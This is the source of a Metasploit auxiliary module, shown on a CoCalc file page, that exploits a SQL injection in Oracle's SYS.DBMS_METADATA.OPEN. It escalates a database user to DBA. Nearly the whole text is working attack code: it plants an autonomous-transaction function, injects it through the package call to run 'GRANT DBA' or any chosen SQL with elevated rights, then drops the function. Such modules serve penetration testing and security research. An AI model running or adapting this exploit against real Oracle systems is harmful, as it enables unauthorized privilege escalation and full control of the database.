CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::ORACLE
8

9
  def initialize(info = {})
10
    super(update_info(info,
11
      'Name'           => 'Oracle DB SQL Injection via SYS.DBMS_METADATA.OPEN',
12
      'Description'    => %q{
13
        This module will escalate a Oracle DB user to DBA by exploiting an sql injection
14
        bug in the SYS.DBMS_METADATA.OPEN package/function.
15
      },
16
      'Author'         => [ 'MC' ],
17
      'License'        => MSF_LICENSE,
18
      'References'     =>
19
        [
20
          [ 'URL', 'http://www.metasploit.com' ],
21
        ],
22
      'DisclosureDate' => '2008-01-05'))
23

24
      register_options(
25
        [
26
          OptString.new('SQL', [ false, 'SQL to execute.',  "GRANT DBA to #{datastore['DBUSER']}"]),
27
        ])
28
  end
29

30
  def run
31
    return if not check_dependencies
32

33
    name = Rex::Text.rand_text_alpha(rand(10) + 1)
34

35
    function = "
36
      create or replace function #{datastore['DBUSER']}.#{name} return varchar2
37
      authid current_user is pragma autonomous_transaction;
38
      begin
39
      execute immediate '#{datastore['SQL']}';
40
      return '';
41
      end;
42
      "
43

44
    package = "select sys.dbms_metadata.open('''||#{datastore['DBUSER']}.#{name}()||''') from dual"
45

46
    clean = "drop function #{name}"
47

48

49
    print_status("Sending function...")
50
    prepare_exec(function)
51

52
    begin
53
      print_status("Attempting sql injection on SYS.DBMS_METADATA.OPEN...")
54
      prepare_exec(package)
55
    rescue ::OCIError => e
56
      if ( e.to_s =~ /ORA-24374: define not done before fetch or execute and fetch/ )
57
        print_status("Removing function '#{name}'...")
58
        prepare_exec(clean)
59
      else
60
      end
61
    end
62
  end
63
end
64

65